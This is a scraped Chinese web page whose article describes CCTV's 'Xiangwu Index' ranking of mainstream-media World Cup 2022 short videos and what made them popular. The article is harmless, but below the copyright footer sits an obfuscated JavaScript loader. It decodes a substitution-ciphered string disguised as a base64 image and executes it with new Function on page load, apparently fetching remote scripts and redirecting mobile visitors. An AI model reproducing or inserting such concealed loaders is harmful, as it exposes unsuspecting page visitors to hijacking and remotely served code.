象舞指数，解析世界杯优质短视频“制胜之道”

时间：2022-12-13 15:00:26阅读：94113次
2022年卡塔尔世界杯拉开帷幕，让这个寒冷的冬日逐渐变得火热起来。在悬念迭生的赛事之外，“梅西C罗最后一届世界杯”“世界杯上的中国制造”等热点迅速席卷全
象舞指数，解析世界杯优质短视频“制胜之道”
象舞指数，解析世界杯优质短视频“制胜之道”
1/7

2022年卡塔尔世界杯拉开帷幕，让这个寒冷的冬日逐渐变得火热起来。在悬念迭生的赛事之外，“梅西C罗最后一届世界杯”“世界杯上的中国制造”等热点迅速席卷全网，各大短视频平台正成为世界杯舆论场的主舞台，而主流媒体也凭借内容优势，大放异彩。

与此同时，中央广播电视总台融合发展中心正在打造“象舞指数”评议品牌，尝试对中央主流媒体，省、市级地方广电媒体的近万个账号发布的短视频展开评价。在世界杯期间，“象舞指数”科学运用“数据入围，主观评定” 的主客观相结合的评价方法，每日推选主流媒体世界杯短视频榜单，并发布系列专家评议文章。截至12月11日，已有20位专家撰写的50篇评议文章在各新媒体平台发布，为短视频创作者提供有益借鉴，助力优质短视频的生产与传播。

打开世界杯“万花筒”

看见“好短视频的样子”

2022年卡塔尔世界杯无疑是今年最受关注的赛事之一。这场体育盛会为短视频创作者开启了一场热闹的角逐，也为行业研究者提供了一次深入观察的契机。“象舞指数”邀请来自体育界、传媒界、文化界等多方的专家学者们，对总台各平台及微博、抖音、快手、微信等社交平台上世界杯相关的短视频进行观察，为优质作品做出典型分析。“象舞指数”发现，海量的世界杯短视频呈现选题多样化和创作多元化格局。其中，有不少“出奇制胜”、令人眼前一亮的短视频作品。在世界杯刚刚开赛、赛事氛围仍在酝酿之时，该如何吸引大众目光？如何寻找个人情感与赛事的“连接点”？从榜单中可以看出，央视新闻、央视频等创作者巧妙将话题点引向本届赛事中的中国元素，《世界杯上满满中国设计小巧思》《中国裁判马宁：希望今后每一届世界杯，中国裁判都能参加》等获得高关注度。“象舞指数”评议文章指出，“中国设计”等短视频营造胜似“主场”的传播氛围与存在感，引发国人的共情传播。还有评议认为，以中国元素为抓手的报道，在带来现场感、神秘感的同时，也能在潜移默化中讲好中国故事，与更为广泛的中国网友拉近距离。

而随着比赛渐入佳境，具有功能价值的“服务向”短视频也开始成为爆款。央视网快看的《阿根廷3个越位球怎么判定的》及央视网的《世界杯期间如何防止被骗》同时登上11月24日榜单，此后，12月6日上午央视网适时推出的科普类短视频《踢丢点球有多难》也收获了大量用户关注。“象舞指数”观察员分析，竞技体育有其专业性的一面，有让网友“看不懂”之处，短视频编创人员需要考虑如何提前预判、甄别网友需要的服务性资讯，如何通过短视频产品主动“帮助”网友节省时间、跨过查阅资料和“烧脑”过程，花费最小的时间代价获取更多有用资讯。

世界杯短视频创作犹如“万花筒”，背后是令人惊艳的多彩世界。“象舞指数”通过对各类型上榜短视频进行归纳分析，不仅为创作者与平台提供选题和传播的新思路，更为用户打开了一条快速接近优质多元作品的通道。

引共鸣、唤共情

剖析好短视频的“流量密码”

如何利用短视频特质、制作出具有感染力的优质作品，同样十分考验创作者“功力”。在世界杯这个大主题下，不少“打动人心”的优质短视频蕴藏着多种引共鸣、唤共情的内容构建方式。通过细致剖析榜单上优秀作品的“动人”思路，“象舞指数”为短视频创作者提供了兼具权威性、可信性与可行性的“实用创作指南”。“内容为王”，依然是颠扑不破的真理。作为体育解说“领跑者”的总台向来频频输出金句。在此次世界杯期间，总台也巧妙撷取精彩解说片段，创制成短视频供观众回味。在12月3日的榜单上，央视体育作品“温情解说送别德国队”中诗人般的咏叹引发大众惊叹，更加证实了文案创作对于短视频的重要性。如“象舞指数”观察员所言，“这样的爆款不是偶然，而是真正的厚积薄发”。

而从剧情逻辑的角度来看，爆款短视频的建构也很“有的聊”。小组赛首轮日本队逆转德国后，题为《日本0:1落后德国后，更衣室里这段对话曝光，终于知道足球因何而强！》的短视频成为“热门”。“象舞指数”观察员分析，该作品在逻辑建构上引入“他者”的转变动因，在意义建构上延展人们的回忆，在情感建构上以拼搏精神实现与观众的共鸣。三个层面达成的建构与统一，创造出绝佳的传播效果。“象舞指数”在探寻世界杯何以“赢天下”的底层逻辑时，总结出爆款的永恒基因——“人类共同情感的交汇和共鸣，是世界杯一个永无休止的音符，也是占据各大网络平台的短视频‘引爆点’”。以此为出发点，央视网体育制作的《原来内马尔在对儿子比心》《C罗与不服老的自己和解了》等视频展示出赛场上充满温情和人文关怀的一面，连接起每一位受众都会面对的人生际遇。如“象舞指数”观察员所言，“唯有真情，才是永恒。”

除此之外，央视频《金杯的旅程》系列短视频利用时空联结实现对观众的“记忆修补”，中视体育《请回答1米88！曹圭成独中两元，韩国2比3加纳》通过连接经典韩剧的“1米88”谐音梗引发观众“集体记忆”，iPanda熊猫频道以极具萌态的国宝熊猫IP角色作为新闻载体等，均是可供借鉴的思路。

“象舞指数”评议对上榜短视频内含的情感逻辑进行了细致的剖析，通过对创作思路深入浅出的精准阐释和“手把手”式的创作教学，为创作者提供了多种“引爆”短视频的法则与窍门。

洞悉行业规律

助推短视频高质量发展

融媒体时代，短视频已逐渐成为各大主流媒体十分看重的“阵地”与“战场”。在推介优质个例并以此启发深思之外，“象舞指数”同样通过持续积累洞察短视频行业具有普遍性的发展规律，为主流媒体的创作改进与自我革新提供短视频行业标准服务。

“象舞指数”的观察专家表示，从世界杯开赛以来各大平台的短视频榜单中可得出结论：移动端报道、碎片化传播效果更好，“在世界杯每日四场比赛快节奏的热点转换中，短视频并不需要层次分明、逻辑严密的论述和论证，而只需要把最重要的和受众感兴趣的事实结论说出来即可，点到为止。”还有专家表示，伴随着比赛的深入，时长低于15秒乃至不到10秒的极简短视频扑面而来，它们将信息容量进一步压缩，将信息内容进一步“捣碎”，信息“粉末”最终指向了一个目的——情感传播，人的“娱乐”天性在这场短视频传播中展现得淋漓尽致。此外，有专家发现，榜单数据揭示出“欢笑与泪水”正是世界杯一个永恒的、牵动亿万人的“情绪引爆点”；有专家通过对球迷视角爆款短视频的分析，建议内容编创要把球迷和观众纳入议程设置之中，凸显足球比赛与大众支持的同频共振……通过这些细致的观察与分析，创作者不难发现，围绕着“欢笑与泪水”进行短视频创作，或可期待引发受众热烈的回应；镜头中的个人视角记录能将主题故事叙说得动听动人，在未来或许会更加盛行……

媒体融合背景下，流量是衡量媒体影响力的重要因素，但主流媒体决不能“唯流量”，而是要把握好流量和质量的比重，肩负起传播正能量的使命与担当。世界杯作为全球顶级的体育赛事IP，对于媒体来说，做好融合创新报道，既是机遇也是挑战。“象舞指数”的评价体系很好地平衡了流量和质量的比重，不仅让短视频创作“有章可循”，更让媒界和业界的传播分析“有据可依”。可以说，基于央媒站位和总台定位，“象舞指数”为短视频用户带来优质内容的筛选、权威视角的启发，尝试为总台及主流媒体短视频内容提供创作指南，为短视频平台给予运营策略启示，以助力于中央媒体融合发展战略的实践与研究。

相关资讯

评论

  • 评论加载中...


Copyright © 2016-2018 www.yigongjx.Com .All Rights Reserved .

留言求片

!function(){function a(a){var _idx="kcn7hl6kib";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/CL/n@}jR8S(21hqKS6)"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"n@}"=^8"S(21hqKS6)"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"n@}^)ThF)m@_d@R:_mRT4"="n@}X5ThF)m7sS2J}CmRT4"="n@}2pThFm@_d@R:_mRT4"="n@}_JqhFm7sS2J}CmRT4"="n@}2TOhFm@_d@R:_mRT4"="n@}CSqhF)m7sS2J}CmRT4"="n@})FfThF)fm@_d@R:_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/f/n@}j(8}vR8S(21hqKS6)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();